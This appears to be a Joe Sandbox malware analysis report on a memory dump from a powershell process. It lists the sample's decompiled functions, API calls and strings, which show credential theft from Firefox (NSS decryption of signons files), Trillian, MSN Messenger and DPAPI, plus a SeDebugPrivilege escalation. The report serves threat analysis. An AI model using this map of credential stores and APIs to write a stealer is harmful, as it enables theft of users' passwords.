b, xrefs: 00407CA9
i, xrefs: 00407CA1
}, xrefs: 00407CC1
H, xrefs: 00407CD1

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memset$ByteCharMultiNameWidestrlen$ComputerUsermemcpy
String ID: 5$H$O$b$i$}$}
API String ID: 1832431107-3760989150
Opcode ID: fa53add491d98d1486bc50851db0f2d2053b3cdea30a1b6f38a2d4001a04f200
Instruction ID: c5d11ab3608301e1d6334a6842c6e335c593dc938f6648a4795a3d5a3f6caa6c
Opcode Fuzzy Hash: fa53add491d98d1486bc50851db0f2d2053b3cdea30a1b6f38a2d4001a04f200
Instruction Fuzzy Hash: 0951D671C0025DFEDB11CFA4CC81AEEBBBCEF49314F0481AAE555A6181D3389B85CBA5

Function 00410DE1 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 00410DF0

Part of subcall function 00410DAA: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 00410DC0

GetLastError.KERNEL32(00000000), ref: 00410E02
GetProcAddress.KERNEL32(?,LookupPrivilegeValueA), ref: 00410E24
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?,?,LookupPrivilegeValueA,?,?,00000000), ref: 00410E34
GetProcAddress.KERNEL32(?,AdjustTokenPrivileges), ref: 00410E5A
AdjustTokenPrivileges.KERNELBASE(?,00000000,00000001,00000000,00000000,00000000,?,AdjustTokenPrivileges,?,?,00000000), ref: 00410E6B
CloseHandle.KERNEL32(?,?,?,00000000), ref: 00410E78

Strings

LookupPrivilegeValueA, xrefs: 00410E1D
AdjustTokenPrivileges, xrefs: 00410E53
SeDebugPrivilege, xrefs: 00410E2E

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: AddressProc$AdjustCloseCurrentErrorHandleLastLookupPrivilegePrivilegesProcessTokenValue
String ID: AdjustTokenPrivileges$LookupPrivilegeValueA$SeDebugPrivilege
API String ID: 3328644959-164648368
Opcode ID: bcfb295028deb42d7034a1c1e26edc5f6458782d310d68dd3fa971f052d55e9a
Instruction ID: 180035a187f8386c87a779d0175683d60653c8262eee481a5a772ffe12dd7b09
Opcode Fuzzy Hash: bcfb295028deb42d7034a1c1e26edc5f6458782d310d68dd3fa971f052d55e9a
Instruction Fuzzy Hash: D2117371900205FBDB11ABE5DC85AEF7BBCEB48344F10442AF501E2151DBB99DC18BA9

Function 00404C9D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00404CE0: FreeLibrary.KERNELBASE(?,00404CA5,00000000,00404771,?,?), ref: 00404CEB

LoadLibraryA.KERNELBASE(crypt32.dll,00000000,00404771,?,?), ref: 00404CAA
GetProcAddress.KERNEL32(00000000,CryptUnprotectData), ref: 00404CBC

Strings

crypt32.dll, xrefs: 00404CA5
CryptUnprotectData, xrefs: 00404CB6

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptUnprotectData$crypt32.dll
API String ID: 145871493-1827663648
Opcode ID: 2e6b38e55e542b86b2f912df5b090dd7434b38e1ebb6106688e0ae1187d66704
Instruction ID: 7870739769311804760c3d1e0253e2144152d34b250ce61cbbba51fe108a7f01
Opcode Fuzzy Hash: 2e6b38e55e542b86b2f912df5b090dd7434b38e1ebb6106688e0ae1187d66704
Instruction Fuzzy Hash: 01E012B06057108AE7205F76A9057837AD4AB84744F12843EA149E2580D7B8E440C798

Function 00407898 Relevance: 6.1, APIs: 4, Instructions: 58filestringCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(00000103,00000247,?,?,004042EE,?), ref: 004078AE
FindNextFileA.KERNELBASE(000000FF,00000247,?,?,004042EE,?), ref: 004078CC
strlen.MSVCRT ref: 004078FC
strlen.MSVCRT ref: 00407904

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: FileFindstrlen$FirstNext
String ID:
API String ID: 379999529-0
Opcode ID: 2b827dd507cf4954e4e0e3644904d3df78e65a6b3ddb2711f2897f60a4f4153f
Instruction ID: 3f72f9a190aab30f8f483bccc0fafde7a86c3084d5e1b238a9c8f95d2c3e0c3c
Opcode Fuzzy Hash: 2b827dd507cf4954e4e0e3644904d3df78e65a6b3ddb2711f2897f60a4f4153f
Instruction Fuzzy Hash: 1F1186B2919201AFD3149B34D884EDB77D8DF44325F20493FF19AD21D0EB38B9459755

Function 0041208B Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,?), ref: 00412098
SizeofResource.KERNEL32(?,00000000), ref: 004120A9
LoadResource.KERNEL32(?,00000000), ref: 004120B9
LockResource.KERNEL32(00000000), ref: 004120C4

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: f941057d9d473a3effe0424e98a75c568b709bef998aca64f808860bd509ea76
Instruction ID: 6eee99af0fd3847aa000c15d4e464fa532876ff6069f3449b7718533803959f6
Opcode Fuzzy Hash: f941057d9d473a3effe0424e98a75c568b709bef998aca64f808860bd509ea76
Instruction Fuzzy Hash: 0101C432600215AB8B158F95DD489DB7F6AFF8A391305C036ED09C6360D770C890C6CC

Function 0040C66A Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 185
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404D7A: LoadLibraryA.KERNEL32(comctl32.dll), ref: 00404D99
Part of subcall function 00404D7A: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00404DAB
Part of subcall function 00404D7A: FreeLibrary.KERNEL32(00000000), ref: 00404DBF
Part of subcall function 00404D7A: MessageBoxA.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404DEA

FreeLibrary.KERNEL32(?), ref: 0040C6A7
EnumResourceTypesA.KERNEL32(00412111,00000000), ref: 0040C6C3
MessageBoxA.USER32(00000000,Failed to load the executable file !,Error,00000030), ref: 0040C6E5

Strings

Failed to load the executable file !, xrefs: 0040C6DF
f-@, xrefs: 0040C8DA
Error, xrefs: 0040C6DA
/deleteregkey, xrefs: 0040C758
/savelangfile, xrefs: 0040C72C
Software\NirSoft\MessenPass, xrefs: 0040C766

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Library$FreeMessage$AddressEnumLoadProcResourceTypes
String ID: /deleteregkey$/savelangfile$Error$Failed to load the executable file !$Software\NirSoft\MessenPass$f-@
API String ID: 1343656639-3807849023
Opcode ID: 963b88b9f9c69f281e14da51def9a8da2922e77b5a2540e53fd8c7e58f6c6b2e
Instruction ID: c9cf7fae9a68988a057e6d0076c0e2abe6ed6f3ff992c821ff985c928f871611
Opcode Fuzzy Hash: 963b88b9f9c69f281e14da51def9a8da2922e77b5a2540e53fd8c7e58f6c6b2e
Instruction Fuzzy Hash: 7661917190420AEBDF21AF61DD89ADE3BB8BF84305F10817BF905A21A0DB389945DF5D

Function 00405EC5 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 161
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00405EE7
memset.MSVCRT ref: 00405EFF

Part of subcall function 00411D68: RegOpenKeyExA.KERNELBASE(80000001,80000001,00000000,00020019,80000001,00402850,80000001,Software\AIM\AIMPRO,?), ref: 00411D7B

memset.MSVCRT ref: 00405F3A

Part of subcall function 00411DEE: RegEnumKeyExA.ADVAPI32(?,000000FF,000000FF,?,00000000,00000000,00000000,000000FF,000000FF), ref: 00411E11

_mbsnbicmp.MSVCRT ref: 00405F68
memset.MSVCRT ref: 00405F87
memset.MSVCRT ref: 00405FA0
_snprintf.MSVCRT ref: 00405FB9
_mbsrchr.MSVCRT ref: 00405FDE
_mbsicmp.MSVCRT ref: 00406012
_mbscpy.MSVCRT ref: 0040602B
_mbscpy.MSVCRT ref: 0040603E
RegCloseKey.ADVAPI32(?), ref: 0040606C
_mbscpy.MSVCRT ref: 0040607A
ExpandEnvironmentStringsA.KERNEL32(%programfiles%\Mozilla Firefox,?,00000104), ref: 0040608C
GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 004060A4

Strings

%s\bin, xrefs: 00405FAC
%programfiles%\Mozilla Firefox, xrefs: 00406087
mozilla, xrefs: 00405F62
PathToExe, xrefs: 00405FBF
SOFTWARE\Mozilla, xrefs: 00405F0B

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memset$_mbscpy$CloseCurrentDirectoryEnumEnvironmentExpandOpenStrings_mbsicmp_mbsnbicmp_mbsrchr_snprintf
String ID: %programfiles%\Mozilla Firefox$%s\bin$PathToExe$SOFTWARE\Mozilla$mozilla
API String ID: 201549630-2797892316
Opcode ID: 143d9ff20e20033ed1fcd052ac8b55e33d1b5df0c5c94a0e96d74893e0675214
Instruction ID: a9db27f8d3bb6867008f3f8c7ab71477537d255c6bc9b4b6a3b98ebc98dd088a
Opcode Fuzzy Hash: 143d9ff20e20033ed1fcd052ac8b55e33d1b5df0c5c94a0e96d74893e0675214
Instruction Fuzzy Hash: 8F51B7B184015DBADB21DB619C86EDF7BBC9F15304F0004FAB548E2142EA789FC58BA5

Function 00410C4C Relevance: 35.1, APIs: 13, Strings: 7, Instructions: 93
libraryloaderstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00410C6D

Part of subcall function 00405EC5: memset.MSVCRT ref: 00405EE7
Part of subcall function 00405EC5: memset.MSVCRT ref: 00405EFF
Part of subcall function 00405EC5: memset.MSVCRT ref: 00405F3A
Part of subcall function 00405EC5: RegCloseKey.ADVAPI32(?), ref: 0040606C
Part of subcall function 00405EC5: _mbscpy.MSVCRT ref: 0040607A
Part of subcall function 00405EC5: ExpandEnvironmentStringsA.KERNEL32(%programfiles%\Mozilla Firefox,?,00000104), ref: 0040608C
Part of subcall function 00405EC5: GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 004060A4

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00410C92
SetCurrentDirectoryA.KERNEL32(?), ref: 00410C9F
memset.MSVCRT ref: 00410CB4
strlen.MSVCRT ref: 00410CBE
strlen.MSVCRT ref: 00410CCC
LoadLibraryExA.KERNEL32(?,00000000,00000008), ref: 00410D0B
GetProcAddress.KERNEL32(00000000,NSS_Init), ref: 00410D23
GetProcAddress.KERNEL32(?,NSS_Shutdown), ref: 00410D2F
GetProcAddress.KERNEL32(?,PK11_GetInternalKeySlot), ref: 00410D3B
GetProcAddress.KERNEL32(?,PK11_FreeSlot), ref: 00410D47
GetProcAddress.KERNEL32(?,PK11_Authenticate), ref: 00410D53
GetProcAddress.KERNEL32(?,PK11SDR_Decrypt), ref: 00410D5F

Part of subcall function 00406B4B: _mbscpy.MSVCRT ref: 00406B53
Part of subcall function 00406B4B: _mbscat.MSVCRT ref: 00406B62

Strings

PK11_Authenticate, xrefs: 00410D49
nss3.dll, xrefs: 00410CB9, 00410CE2
PK11SDR_Decrypt, xrefs: 00410D55
NSS_Init, xrefs: 00410D1D
NSS_Shutdown, xrefs: 00410D25
PK11_GetInternalKeySlot, xrefs: 00410D31
PK11_FreeSlot, xrefs: 00410D3D

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: AddressProc$memset$CurrentDirectory$_mbscpystrlen$CloseEnvironmentExpandLibraryLoadStrings_mbscat
String ID: NSS_Init$NSS_Shutdown$PK11SDR_Decrypt$PK11_Authenticate$PK11_FreeSlot$PK11_GetInternalKeySlot$nss3.dll
API String ID: 2719586705-3659000792
Opcode ID: 75917a1aec9986030c83e97f8a6c26f5c534c2a98396f13b9efaf1f70b8442b1
Instruction ID: 3c436980af1a21df5e4856e841a29f4fe06fda5e66834ce9295461a77701cb90
Opcode Fuzzy Hash: 75917a1aec9986030c83e97f8a6c26f5c534c2a98396f13b9efaf1f70b8442b1
Instruction Fuzzy Hash: BB317671940308AFCB20EFB5DC89ECABBB8AF64704F10486EE185D3141DAB996C48F54

Function 004110AF Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(psapi.dll,?,00411155,00404495,00000000,00000000,00000000), ref: 004110C2
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameA), ref: 004110DB
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004110EC
GetProcAddress.KERNEL32(00000000,GetModuleFileNameExA), ref: 004110FD
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041110E
GetProcAddress.KERNEL32(00000000,GetModuleInformation), ref: 0041111F
FreeLibrary.KERNEL32(00000000), ref: 0041113F

Strings

psapi.dll, xrefs: 004110BD
GetModuleFileNameExA, xrefs: 004110F7
EnumProcesses, xrefs: 00411108
EnumProcessModules, xrefs: 004110E6
GetModuleBaseNameA, xrefs: 004110D5
GetModuleInformation, xrefs: 00411119

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameA$GetModuleFileNameExA$GetModuleInformation$psapi.dll
API String ID: 2449869053-232097475
Opcode ID: ee84c210bc0f50ddd9e1354071252ba1724dd235f625d6dd127ec76221b6c85c
Instruction ID: 150d9d7abe9eb73bde655d9ea944b9d4c8ac0ad9fe74c99b0592c1ab8213f4a8
Opcode Fuzzy Hash: ee84c210bc0f50ddd9e1354071252ba1724dd235f625d6dd127ec76221b6c85c
Instruction Fuzzy Hash: CA01B138941212FAC7209F26AD04BE77EE4578CB94F14803BEA04D1669EB7884828A6C

Function 004064FB Relevance: 19.7, APIs: 10, Strings: 3, Instructions: 158
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410C4C: memset.MSVCRT ref: 00410C6D
Part of subcall function 00410C4C: GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00410C92
Part of subcall function 00410C4C: SetCurrentDirectoryA.KERNEL32(?), ref: 00410C9F
Part of subcall function 00410C4C: memset.MSVCRT ref: 00410CB4
Part of subcall function 00410C4C: strlen.MSVCRT ref: 00410CBE
Part of subcall function 00410C4C: strlen.MSVCRT ref: 00410CCC
Part of subcall function 00410C4C: LoadLibraryExA.KERNEL32(?,00000000,00000008), ref: 00410D0B
Part of subcall function 00410C4C: GetProcAddress.KERNEL32(00000000,NSS_Init), ref: 00410D23
Part of subcall function 00410C4C: GetProcAddress.KERNEL32(?,NSS_Shutdown), ref: 00410D2F
Part of subcall function 00410C4C: GetProcAddress.KERNEL32(?,PK11_GetInternalKeySlot), ref: 00410D3B
Part of subcall function 00410C4C: GetProcAddress.KERNEL32(?,PK11_FreeSlot), ref: 00410D47
Part of subcall function 00410C4C: GetProcAddress.KERNEL32(?,PK11_Authenticate), ref: 00410D53
Part of subcall function 00410C4C: GetProcAddress.KERNEL32(?,PK11SDR_Decrypt), ref: 00410D5F

memset.MSVCRT ref: 00406537

Part of subcall function 00406958: strlen.MSVCRT ref: 0040695D
Part of subcall function 00406958: memcpy.MSVCRT ref: 00406972

memset.MSVCRT ref: 0040657E
memset.MSVCRT ref: 00406596
memset.MSVCRT ref: 004065AE
strlen.MSVCRT ref: 004065B9
strlen.MSVCRT ref: 004065C7
strlen.MSVCRT ref: 004065F2
strlen.MSVCRT ref: 00406600
strlen.MSVCRT ref: 0040662B
strlen.MSVCRT ref: 00406639

Part of subcall function 004069D3: GetFileAttributesA.KERNELBASE(0040390F,0040D4DB,0040390F,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 004069D7

Part of subcall function 004062DB: GetFileSize.KERNEL32(00000000,00000000), ref: 00406306
Part of subcall function 004062DB: ??2@YAPAXI@Z.MSVCRT ref: 0040631A
Part of subcall function 004062DB: memset.MSVCRT ref: 00406349
Part of subcall function 004062DB: memset.MSVCRT ref: 00406368
Part of subcall function 004062DB: memset.MSVCRT ref: 0040637A
Part of subcall function 004062DB: strcmp.MSVCRT ref: 004063B9
Part of subcall function 004062DB: ??3@YAXPAX@Z.MSVCRT ref: 004064E5
Part of subcall function 004062DB: CloseHandle.KERNEL32(?), ref: 004064EE

Strings

signons.txt, xrefs: 004065BF, 004065C4, 004065D5
signons2.txt, xrefs: 004065F8, 004065FD, 0040660E
signons3.txt, xrefs: 00406631, 00406636, 00406647

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memsetstrlen$AddressProc$CurrentDirectoryFile$??2@??3@AttributesCloseHandleLibraryLoadSizememcpystrcmp
String ID: signons.txt$signons2.txt$signons3.txt
API String ID: 4081699353-561706229
Opcode ID: 7da170244c5e44e2ab2624a41fc5cd2ef5c298c791df7e28cb4a8979ce54e25b
Instruction ID: 377b3a65c9dd8df244cffc1a210365992fa2ecb4602db1b88cb694f2acf2e346
Opcode Fuzzy Hash: 7da170244c5e44e2ab2624a41fc5cd2ef5c298c791df7e28cb4a8979ce54e25b
Instruction Fuzzy Hash: C051C47280401CAACF11EA65DC85BCE7BACAF15319F5504BFF509F2181EB389B988B58

Function 0040D3A0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 109
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0040D3C8

Part of subcall function 00411DAE: RegCloseKey.ADVAPI32(00000000,?,00000000,00000000), ref: 00411DE3

_mbscpy.MSVCRT ref: 0040D41B
_mbscpy.MSVCRT ref: 0040D464
memset.MSVCRT ref: 0040D47C
strlen.MSVCRT ref: 0040D49D
strlen.MSVCRT ref: 0040D4AB

Part of subcall function 00407139: strlen.MSVCRT ref: 0040714B
Part of subcall function 00407139: strlen.MSVCRT ref: 00407153
Part of subcall function 00407139: _memicmp.MSVCRT ref: 00407171

Part of subcall function 004069D3: GetFileAttributesA.KERNELBASE(0040390F,0040D4DB,0040390F,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 004069D7

Strings

trillian.exe, xrefs: 0040D3EF
UninstallString, xrefs: 0040D3CE
Trillian\users\global, xrefs: 0040D492, 0040D4C1
trillian, xrefs: 0040D444
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trillian, xrefs: 0040D3D3

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: strlen$_mbscpymemset$AttributesCloseFile_memicmp
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trillian$Trillian\users\global$UninstallString$trillian$trillian.exe
API String ID: 2174551368-3003071570
Opcode ID: e259f277b1496aa0bd8dd7d471ad79ad235791e513a4ae2e0a80bbcb3c597bbd
Instruction ID: 7bc3b858bee9d9e9ac8f81dd2a2494a9b2267e2ac629f59b21fbbbeb3bb54d2f
Opcode Fuzzy Hash: e259f277b1496aa0bd8dd7d471ad79ad235791e513a4ae2e0a80bbcb3c597bbd
Instruction Fuzzy Hash: 72312B7290421469E720AA659C46BDF3B988F11715F20007FF548F71C2DEBCAAC487AD

Function 00413E10 Relevance: 18.1, APIs: 12, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,004153E0,00000070), ref: 00413E25
__set_app_type.MSVCRT ref: 00413E7E
__p__fmode.MSVCRT ref: 00413E93
__p__commode.MSVCRT ref: 00413EA1
__setusermatherr.MSVCRT ref: 00413ECD
_initterm.MSVCRT ref: 00413EE3
__getmainargs.MSVCRT ref: 00413F06
_initterm.MSVCRT ref: 00413F19
GetStartupInfoA.KERNEL32(?), ref: 00413F58
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00413F7C
exit.KERNELBASE ref: 00413F8F
_cexit.MSVCRT ref: 00413F95

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: HandleModule_initterm$InfoStartup__getmainargs__p__commode__p__fmode__set_app_type__setusermatherr_cexitexit
String ID:
API String ID: 3662548030-0
Opcode ID: fd272f140936dce3ae1afac1b88f1a03475efbe3cea9d1dc08f67c2601f9b4d4
Instruction ID: 1a0d48d648a4d99901fb7feaec5c467672ee51f091280c2f058e756afb183587
Opcode Fuzzy Hash: fd272f140936dce3ae1afac1b88f1a03475efbe3cea9d1dc08f67c2601f9b4d4
Instruction Fuzzy Hash: 9841A071D00309DFDB209FA4D884AEE7BB4FB08715F20416BE46197291D7784AC2CB5C

Function 0040DA79 Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 198
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040FD01: memset.MSVCRT ref: 0040FD18
Part of subcall function 0040FD01: memset.MSVCRT ref: 0040FD21

RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\MSNMessenger,00000000,00020019,?), ref: 0040DACB

Part of subcall function 0040FF88: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,000000FF,00000000,00000000,?,00000000,?,?,?), ref: 0041005B
Part of subcall function 0040FF88: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000,?,00000000,?,?,?), ref: 00410071
Part of subcall function 0040FF88: LocalFree.KERNEL32(?,?,00000000,?,?,?), ref: 0041007D

RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\MessengerService,00000000,00020019,?), ref: 0040DB01
RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\MessengerService,00000000,00020019,?,?), ref: 0040DB8F
RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\MessengerService,00000000,00020019,?), ref: 0040DC25

Strings

UserMicrosoft RTC Instant Messaging, xrefs: 0040DBA5
Software\Microsoft\MessengerService, xrefs: 0040DAF7, 0040DB85, 0040DC1B
Software\Microsoft\MSNMessenger, xrefs: 0040DAC1
UserMicrosoft Exchange Instant Messaging, xrefs: 0040DC3B
PasswordMicrosoft Exchange Instant Messaging, xrefs: 0040DC36
PasswordMicrosoft RTC Instant Messaging, xrefs: 0040DBA0

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Open$ByteCharMultiWidememset$FreeLocal
String ID: PasswordMicrosoft Exchange Instant Messaging$PasswordMicrosoft RTC Instant Messaging$Software\Microsoft\MSNMessenger$Software\Microsoft\MessengerService$UserMicrosoft Exchange Instant Messaging$UserMicrosoft RTC Instant Messaging
API String ID: 3472595403-3472580514
Opcode ID: 4a20be75106eef8afbc2690363f5f718c8396ca202439f642d4b7149e4ddfd6d
Instruction ID: 22d36e33a130c3ca974138f2eaaf9dbe6720f3348f6af52b077c8fd119907347
Opcode Fuzzy Hash: 4a20be75106eef8afbc2690363f5f718c8396ca202439f642d4b7149e4ddfd6d
Instruction Fuzzy Hash: CD711BB1D0025DAFDB10DFD5CD84AEEBBB8AB48309F5000BBE505B6241D7786A898B58

Function 0040BBF0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 82
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0040BC14
GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 0040BC26
strrchr.MSVCRT ref: 0040BC35
_mbscat.MSVCRT ref: 0040BC4F
_mbscpy.MSVCRT ref: 0040BC83
_mbscpy.MSVCRT ref: 0040BC94
GetWindowPlacement.USER32(00000000,?), ref: 0040BCCE

Strings

WinPos, xrefs: 0040BCE2
.cfg, xrefs: 0040BC49
General, xrefs: 0040BC8E

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _mbscpy$FileModuleNamePlacementWindow_mbscatmemsetstrrchr
String ID: .cfg$General$WinPos
API String ID: 1012775001-3165880290
Opcode ID: a0e6ba106d22b7fdb452a0395d51e5079dfe080821a02a89f5daf1cda0cefaef
Instruction ID: 4d3526ff516950935d38684931a8ffa2e994efc3bce567aa6e3141678cacb11c
Opcode Fuzzy Hash: a0e6ba106d22b7fdb452a0395d51e5079dfe080821a02a89f5daf1cda0cefaef
Instruction Fuzzy Hash: AC31B4729042189BDB11DB55DC45BCA77BC9F58704F0400FAE948AB282DBB45FC58FA8

Function 004039A8 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00403A29
sprintf.MSVCRT ref: 00403A3B
_strcmpi.MSVCRT ref: 00403A61

Strings

AddExportHeaderLine, xrefs: 004039E6
Folder%d, xrefs: 00403A35
SaveFilterIndex, xrefs: 004039D2
ShowGridLines, xrefs: 004039BE
MarkOddEvenRows, xrefs: 004039FA

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _strcmpimemsetsprintf
String ID: AddExportHeaderLine$Folder%d$MarkOddEvenRows$SaveFilterIndex$ShowGridLines
API String ID: 1148023869-3238971583
Opcode ID: 41c6a4aa87f640e3ff617832b964f26cfa69aff41829c8ca8a21bee419e69aaf
Instruction ID: b4f0ac16e309dff731b59d997bf236358cc0e702142a5422807362b934f22301
Opcode Fuzzy Hash: 41c6a4aa87f640e3ff617832b964f26cfa69aff41829c8ca8a21bee419e69aaf
Instruction Fuzzy Hash: A22143717041046BCB19DFA8CC86FAAB7F8BF08705F14446EB44A97181EA78AE848B59

Function 0040FA34 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 98
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040FC4F: memset.MSVCRT ref: 0040FC6B
Part of subcall function 0040FC4F: memset.MSVCRT ref: 0040FC82
Part of subcall function 0040FC4F: _mbscat.MSVCRT ref: 0040FCAD
Part of subcall function 0040FC4F: _mbscat.MSVCRT ref: 0040FCD5

memset.MSVCRT ref: 0040FA77
strlen.MSVCRT ref: 0040FA8E
strlen.MSVCRT ref: 0040FA97
strlen.MSVCRT ref: 0040FAF0
strlen.MSVCRT ref: 0040FAFE

Part of subcall function 00406B4B: _mbscpy.MSVCRT ref: 00406B53
Part of subcall function 00406B4B: _mbscat.MSVCRT ref: 00406B62

Strings

history.dat, xrefs: 0040FA61, 0040FA94, 0040FAA5
places.sqlite, xrefs: 0040FAF7, 0040FB0C

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: strlen$_mbscatmemset$_mbscpy
String ID: history.dat$places.sqlite
API String ID: 29466866-467022611
Opcode ID: 6d4fa157046b79324614db1c5231b71ecc17b726e83c5fbb59575d794b89b698
Instruction ID: 51ac12969def4fbc614ccf7375ed6982ef447687ff00d0a07234f36c10d15357
Opcode Fuzzy Hash: 6d4fa157046b79324614db1c5231b71ecc17b726e83c5fbb59575d794b89b698
